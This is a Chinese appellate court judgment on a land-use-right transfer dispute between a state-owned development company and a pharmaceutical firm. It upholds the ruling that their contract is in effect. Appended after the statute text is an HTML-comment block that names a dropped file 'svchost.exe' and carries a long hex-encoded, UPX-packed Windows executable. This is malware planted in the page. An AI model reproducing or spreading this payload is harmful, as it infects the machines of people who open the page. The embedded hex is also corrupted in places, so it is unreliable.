海南省海口市中级人民法院
p t ; ” > 民 事 判 决 书
（2017）琼01民终3450号
上诉人（原审原告）：海南省扶贫工业开发区总公司，住所地：海口市南联路新村124号。
法定代表人：郑伟平，总经理。
委托诉讼代理人：胡宗丽，海南天泽律师事务所律师。
委托诉讼代理人：贺飞飞，海南天泽律师事务所律师。
被上诉人（原审被告）：海南天元药业有限公司，住所地：海南省扶贫工业开发区第五小区。
法定代表人：郑体才，总经理。
委托诉讼代理人：王芹丛，北京京师（三亚）律师事务所律师。
上诉人海南省扶贫工业开发区总公司（以下简称扶贫公司）因与被上诉人海南天元药业有限公司（以下简称天元公司）建设用地使用权转让合同纠纷，不服海口市秀英区人民法院作出的（2017）琼0105民初1351号民事判决，向本院提起上诉。本院于2017年10月9日立案受理后，依法组成合议庭，于2017年11月8日公开开庭进行了审理。上诉人扶贫公司的委托诉讼代理人贺飞飞、被上诉人天元公司的委托诉讼代理人王芹丛到庭参加诉讼。本案现已审理终结。
扶贫公司上诉请求：一、依法判决撤销海口市秀英区人民法院作出的（2017）琼0105民初1351号民事判决书；二、依法改判支持上诉人原审提出的全部诉讼请求三、依法改判本案全部诉讼费用由被上诉人承担。事实与理由：原审法院将涉案合同认定为有效合同是完全错误的，该认定没有法律依据且适用法律错误；其故意混淆合同无效和合同未生效的法律概念，将合同无效的法律规定用作判决驳回合同未生效诉请的法律依据，对该错误判决，依法予以撤销。因上诉人系国有企业，掌控的是国有资产，未经审批对名下土地无处分权，鉴于这一情况，根据相关法律法规，上诉人在原审起诉时的诉讼请求为确认涉案合同为未生效合同，是符合法律规定的，是正确的。除本案的诉讼证据，围绕上诉人诉讼请求，上诉人提出了充足的法律依据。其中包括：《合同法》第四十四条，《最高人民法院关于适用<中华人民共和国合同法>若干问题的解释（一）》第九条；提出的行政法规为2003年5月27日国务院发布的《企业国有资产监督管理暂行条例》第六条、第三十三条；相关规定为《企业国有产权转让管理暂行办法》第四条、第八条、第十一条第二款及第二十六条，以及《海南省国有企业国有产权转让管理若干规定》第五条等。以上法律法规及相关规定紧密衔接，构成认定合同未生效的强有力的法律依据。原审法院却以上诉人未提出法律依据为由，强行套用合同无效的相关法规，用来论证涉案合同是否违反效力性强制规定而未生效，其中逻辑十分混乱。原审法院的错误判决，不仅取代了行政机关的行政审批权，取消了国资委对国有资产的监管权，且将造成巨额国有资产流失。请求贵院依法撤销该错误判决，支持上诉人的上诉请求。
天元公司辩称：一、没有法律规定扶贫总公司和天元公司间的合同不生效，扶贫公司引用的法律规定不适用于本案。扶贫公司引用《最高人民法院关于适用中华人民共和国合同法若干问题的解释（一）》第九条，认为扶贫公司与天元公司签订的《土地使用权转让协议》必须经国资管理部门批准，不经过批准应为未生效。事实上第九条的规定如下：”依照合同法第四十四条第二款的规定，法律、行政法规规定合同应当办理批准手续，或者办理批准、登记等手续才生效，在一审法庭辩论终结前当事人仍未办理批准手续的，或者仍未办理批准、登记等手续的，人民法院应当认定该合同未生效；”根据该规定可以看出，该条规定表述的是：”合同”应当办理批准手续或者办理批准、登记等手续才生效的，未在一审法庭辩论终结前仍未办理批准手续的应认定为未生效，此处的中心词是”合同”。而没有哪一条法律规定国有企业转让其通过受让得来的土地使用权合同必须经过批准。纵观中国现有的法律规定，只有《中外合资经营企业法实施条例》第十四条规定：”合营企业协议、合同和章程经审批机构批准后生效，其修改时同。”，除此之外，再没有其他的”合同必须经批准才能生效”的法律规定。扶贫总公司还引用《企业国有资产监督管理条例》第六条：”国有资产监督管理机构根据授权，依法履行出资人职责，依法对国有企业资产进行监督管理”，第三十三条：”所出资企业中的国有独资企业、国有独资公司的重大资产处置，需由国有资产监督管理机构批准的，依照有关规定执行”。对于”所出资企业”的定义”《企业国有产权转让管理暂行办法》第八条第二款明确规定：”本办法所称所出资企业是指国务院，省、自治区、直辖市人民政府，设区的市、自治州级人民政府授权国有资产监督管理机构履行出资人职责的企业。”。从以上规定来看，扶贫总公司引用的法律规定不适用本案，因为以上法条规定国有资产监督管理机构必须依法履行出资人义务，对所出资的国有独资企业、国有独资公司的重大资产处置才享有批准权。在本案中，扶贫总公司的出资人是海南联合资产管理有限公司（详见扶贫总公司企业机读档案），并不是海南省政府国有资产监督管理委员会，并没有履行对扶贫总公司的出资义务，其也没有权利对扶贫总公司的资产处置行使批准的权利，因此扶贫总公司称其资产转让需经国资管理部门批准的说法没有法律依据。另外，海南联合资产管理有限公司并不是国有资产监督管理机构，因为海南联合资产管理有限公司为企业法人，其经营范围为：”承接、收购、管理和处置国有独资商业银行和四大资产管理公司的积压房地产和债权，房地产开发经营，房地产咨询、价格评估、经纪中介服务，清理解决债务、资产置换、转让及销售，债务重组及企业重组，债权转股权及阶段性持股，企业收购，兼并和项目委托运营，财务及法律咨询服务，资产及项目评估，经金融主管部门批准的有关业务。”（详见海南联合资产管理有限公司机读档案资料），其经营范围并不包括对所出资企业的资产处置行使批准的权力。有一些企业的出资人是海南省政府国有资产监督管理委员会，比如海南省发展控股有限公司、海南省建设集团有限公司（详见公司的机读档案资料），这些企业的资产转让才需要海南省政府国有资产监督管理委员会的批准。即便是需要批准，也是国有资产转让合同签订之前的内部程序的批准，而不是合同签订的批准。扶贫总公司还引用了《企业国有产权转让管理暂行办法》和《海南省国有企业国有产权转让管理若干规定》的一些规定，扶贫公司所引用的这些法律规定也不适用于本案。因为《企业国有产权转让管理暂行办法》第二条明确规定：”本办法所称企业国有产权，是指国家对企业以各种形式投入形成的权益、国有及国有控股企业各种投资所形成的应享有的权益，以及依法认定为国家所有的其他权益。”由以上规定可以看出，国有产权转让和国有资产转让并不是同一概念，本案中不适用国有产权方面的法律规定，扶贫总公司是在偷换概念。二、一审法院认定事实清楚，适用法律正确，二审法院应维持一审判决。扶贫公司所提出了国有资产的转让需要国资部门的批准法律规定，但是那些法律规定是约束国有资产转让方的管理性规范，而不是效力性规范。关于管理性规范和效力性规范的问题，最高人民法院在2007年5月的全国民商事审判工作会议上指出，”强制性规定又包括管理性规范和效力性规范。管理性规范是指法律及行政法规未明确规定违反此类规范将导致合同无效的规范。此类规范旨在管理和处罚违反规定的行为，但并不否认该行为在民商法上的效力。效力性规定是指法律及行政法规明确规定违反该类规定将导致合同无效的规范，或者虽未明确规定违反之后将导致合同无效，但若使合同继续有效将损害国家利益和社会公共利益的规范。此类规范不仅旨在处罚违反之行为，而且意在否定其在民商法上的效力。”本案中扶贫公司提出的转让行为应当经国资管理部门批准的相关规范是指的管理性规范，也就是转让者在转让前应当根据管理性规定向国资管理部门请示批准，但是该请示批准是转让方的签订合同之前应履行的国有资产方的内部程序，转让方有没有履行该程序是转让方的过错，其责任应该由转让方来承担，该程序的瑕疵不影响其所签订的合同生效和效力。三、根据涉案土地使用权的历史情况以及现状以及扶贫公司与天元公司的合同的履行情况，双方的合同已经生效。如果认定不生效势必不利于保护交易，容易纵容国有企业对已作出的交易行为予以反悔，从而损害交易相对方的合法权益。根据过错责任原则，天元公司在合同签订和履行过程中不存在任何过错，不应承担任何责任和损失；如果认定合同不生效，天元公司将遭受巨大损失，这是与法律规定的过错责任原则相违背的。
扶贫公司向一审法院起诉请求：1.确认原、被告签订的《土地使用权转让协议》为未生效合同；2.被告向原告退还其所占用的原告名下土地；3.被告拆除其在原告土地上所建的违法建筑；4.由被告承担本案的全部诉讼费用。
一审法院确认的事实：扶贫公司系全民所有制企业，于1991年成立。天元公司于1993年成立，经营范围：溶液剂、医疗信息、化工原料等。1993年，海口市土地管理局与扶贫公司签订《海口市国有土地使用权出让合同》，海口市土地管理局作为出让方，扶贫公司作为受让方，将包括涉案26.06亩土地在内的680亩土地出让给扶贫公司。合同项下的出让地块，按照批准的总体规划是建设工业、综合开发项目。2004年3月16日，扶贫公司与天元公司签订《土地转让合同》，约定：扶贫公司(甲方)将位于海口市省扶贫工业开发区内，总面积为26.06亩土地，以地价总款人民币280万转让给天元公司(乙方)；本合同经双方签字后，乙方须以现金支票或现金的方式向甲方缴付转让总地价款的10万元作为履行合同的定金。转让金的付款方式，经双方协商后同意乙方所欠的地价款按甲、乙双方约定时间逐次付清。即：2006年1月至6月付100万元；2006年7月12日付50万元；2007年1月6日付50万元；2007年7月至12月付70万元。不付清款项本协议自行失效。地款缴交到100万元后，可划分地块图给予办证过户手续，契税由受让方支付，其他税费由转让方支付。本合同签订后，甲方收不到乙方的定金，则本合同自行终止。上述协议签订后，天元公司于2005年11月16日向扶贫公司支付10万元的转让款，2007年2月13日向扶贫公司指定的海南扶源实业有限公司支付30万元的转让款，2007年7月13日支付10万元。2007年3月19日扶贫公司将转让给天元公司的土地使用权从扶贫公司的总证中分割出来，并将分割出来的海口市国用（2007）第001645号土地证交给天元公司以便过户手续。2007年8月5日，扶贫公司发出《催款承诺书》，要求天元公司收到催款承诺书后再付50万元(累计达到100万元)，扶贫公司承诺当土地款累计付到180万元后，扶贫公司协助天元公司办理土地过户手续，过户手续办理完毕30天内，天元公司一次性付清土地余款。天元公司收到扶贫公司的《催款承诺书》后，天元公司于2007年9月3日再支付50万元转让款，2008年3月8日支付50万元转让款，2008年3月23日支付30万元转让款。至此天元公司已经将转让款支付至180万元，扶贫公司应协助天元公司进行办理过户，但扶贫公司一直未协助将涉案的26.06亩土地过户登记到天元公司名下。自2008年天元公司就开始支付受让土地的土地使用税。2013年7月18日，扶贫公司向天元公司发出通知，内容为：在合约履行期间，天元公司未按时交纳土地使用税，要求天元公司与扶贫公司协商处理，接到通知后，扶贫公司与天元公司签订了《土地转让补充协议》，该补充协议确认了双方于2004年2月16日签订的土地转让合同，扶贫公司将位于海口市白水塘北侧省扶贫工业开发区内的土地使用权，其土地用途工业用地，面积11560平方米，东至空地，南至空地，西至金福路，北至富康路，转让给天元公司开发经营使用，由天元公司负责缴纳自双方签订转让土地协议之日起至往后的土地使用税费。天元公司在涉案土地上建设有厂房。
一审法院认为，案件的争议焦点是扶贫公司与天元公司签订的《土地转让协议》的效力问题。现扶贫公司主张双方签订的《土地转让协议》未生效，主要有以下理由：该《土地转让协议》属于国有企业对国有资产的重大处置行为，需经国资管理部门审批，依法履行招、拍、挂程序，且违反《最高人民法院关于适用＜中华人民共和国合同法＞若干问题的解释（一）》第九条”依照合同法四十四条第二款的规定，法律、行政法规规定合同应当办理批准手续，或者办理批准登记手续才生效，在一审法庭辩论终结前当事人仍未办理批准手续的，或者仍未办理批准、登记手续的，人民法院应当认定该合同未生效；......”的规定，应属未生效。根据上述司法解释的规定，当事人签订的合同应当办理批准、登记手续，未办理批准、登记手续则合同未生效的前提是有法律、行政法规的明确规定，否则，不能以未办理批准、登记手续作为合同未生效或无效的条件。《国有资产评估管理办法》、《企业国有资产监督管理暂行条例》中关于国有资产转让应当进行评估、批准等程序的规定，均属规范内部程序的管理规定，而非效力性强制性规定，不应影响国有企业与第三人签订合同的效力。故扶贫公司与天元公司签订合同后，未向有关部门办理审批手续，并未违反法律、行政法规的强制性规定。本案中，原、被告之间的土地转让是国有企业经营权的体现，原告参与市场交易与其他市场主体地位平等。原告作为资产的管理者，有责任对资产保值增值，但亦应承担市场经营风险。且双方签订合同的目的是为充分利用、合理开发土地资源、盘活国有资产，且合同履行十多年之久。因此，扶贫公司上述主张的理由不能成立，一审法院不予支持。综上，涉案《土地转让协议》为双方真实意思表示，不存在《中华人民共和国合同法》第五十二条规定的情形，应为合法有效。双方应本着诚实信用原则严格履行各自的合同义务。本案在合同履行过程中，扶贫公司发出《催款承诺书》，承诺当天元公司给付土地款累计付到180万元后，扶贫公司协助天元公司办理土地过户手续，应视为双方对原签订协议付转让款方式的变更，天元公司依变更后的约定支付涉案土地转让款180万元，扶贫公司未协助天元公司办理土地过户手续，致使天元公司未付清土地余款，原告已违反合同约定的义务。故扶贫公司请求确认其与天元公司签订的《土地转让协议》未生效，但未能提供相关的证据证明上述合同违反了法律、行政法规的效力性强制性规定，也未能提供证据证明上述合同的转让必须经过政府相关部门的审批以及未经审批则合同未生效。因此，一审法院对扶贫公司要求确认《土地转让协议》未生效的诉讼请求不予支持。扶贫公司基于合同未生效，要求退还土地和拆除地上建筑物的诉讼请求同样没有事实和法律依据，一审法院不予支持。扶贫公司主张的民事行为未生效与一审法院根据案件事实作出的认定不一致，一审法院已告知扶贫公司可以变更诉讼请求，扶贫公司未变更诉讼请求，故应当驳回扶贫公司的诉讼请求。依照《中华人民共和国合同法》第八条、第五十二条、第六十条第一款、《中华人民共和国民事诉讼法》第六十四条第一款的规定，判决如下：驳回原告海南省扶贫工业开发区总公司的诉讼请求。本案诉讼费300元，由原告海南省扶贫工业开发区总公司承担。
二审期间，双方当事人均没有提交新证据。
本院二审查明的事实与一审查明的一致。
本院认为，本案争议的焦点问题是：双方签订的土地转让合同是否已经生效。合同未生效是指合同已经成立，但是合同中所约定的条件未成就，或者约定的期限还未届至，或者还没有按照有关法律规定办理有关行政审批或登记手续，对订立合同的当事人暂时不产生法律约束力。本案中，双方当事人所签订的合同中约定合同自双方法定代表人签字后生效，并没有规定合同生效的条件或生效的期限，所以不存在合同生效的条件是否成就或合同生效的期限是否届至的问题。而双方争议的关健问题是涉案合同是否必须报经行政机关审批或者登记。根据《中华人民共和国合同法》第四十四条规定：”依法成立的合同，自成立时生效。法律、行政法规规定应当办理批准、登记等手续生效的，依照其规定”。涉案合同并非属于法律、行政法规规定应当办理批准、登记手续的合同。本案双方当事人签订的合同是土地转让合同，国家对土地转让合同并未规定合同订立后还必须报经行政机关批准才能生效。本案中，扶贫公司与海口市土地管理局签订《国有土地使用权出让合同》，取得涉案土地使用权后，将涉案土地使用权转让给天元公司，扶贫公司所转让的土地属于”出让地”，双方的转让”出让地”的行为属于正常的市场交易行为，只要双方协商一致，合同成立后就生效。另外，根据《中华人民共和国城镇国有土地使用权出让和转让暂行条例》第二十五条规定：”土地使用权和地上建筑物、其他附着物所有权转让，应当依照规定办理过户登记。土地使用权和地上建筑物、其他附着物所有权分割转让的，应当经市、县人民政府土地管理部门和房产管理部门批准，并依照规定办理过户登记”。从上述规定可以看出，土地使用权和地上建筑物、其他附着物的所有权转让只需办理过户登记即可，并没有要经过行政机关批准的规定。但鉴于该条例第二十三条规定：”土地使用权转让时，其地上建筑物、其他附着物所有权随之转让”。因此，当土地使用权要与地上建筑物、其他附着物分割转让时，因为以前土地和房产分属两个部门管理，所以应当经过土地管理部门和房产管理部门批准，否则就不能分割转让。该规定旨在维护房地一体的原则，从严控制土地与地上建筑物分割转让。而根据《中华人民共和国物权法》第十五条规定：”当事人之间订立有关设立、变更、转让和消灭不动产物权的合同，除法律另有规定或者合同另有约定外，自合同成立时生效；未办理物权登记的，不影响合同效力”。因此，本案双方当事人签订的土地转让合同所涉及的土地使用权虽然尚未办理过户手续，物权尚未变更，但不影响合同的效力，双方所签订的土地转让合同依法生效，并具有法律效力。
扶贫公司虽然属于全民所有制企业，但其与其他市场主体地位平等，均应遵守国家制定的法律法规，依法开展经营活动。本案中，扶贫公司将其土地使用权转让给天元公司10多年，天元公司也已经在地上建设了厂房等建筑物，合同已经履行多年，只是尚未办理土地过户手续。现扶贫公司却以合同尚未生效为由提起诉讼，要求确认合同未生效，并诉请拆除天元公司的厂房并返还其土地，显然违反了诚实信用原则，不应得到法律的支持。扶贫公司援引的国务院《企业国有资产监督管理暂行条例》第六条、第三十三条等相关规定，主张其未经国资委审批合同尚未生效。本院认为，上述规定属于管理性规定，并非是认定合同是否生效或者是否有效的效力性强制性规定，扶贫公司不能以管理性规定来否定合同的效力，或者以未经其上级主管部门批准合同未生效达到其毁约的目的。
综上所述，扶贫公司的上诉请求不能成立，应予驳回。一审判决认定事实清楚，适用法律正确，应予维持。依照《中华人民共和国民事诉讼法》第一百七十条第一款第一项之规定，判决如下：
驳回上诉，维持原判。
二审案件受理费300元，由上诉人海南省扶贫工业开发区总公司负担。
本判决为终审判决。
审判长李家林
审判员林梅
审判员刘华琪
书记员杜立
速录员李萍
附相关法律法规条文：
《中华人民共和国民事诉讼法》
第一百七十条第二审人民法院对上诉案件，经过审理，按照下列情形，分别处理：
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF1820089****DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C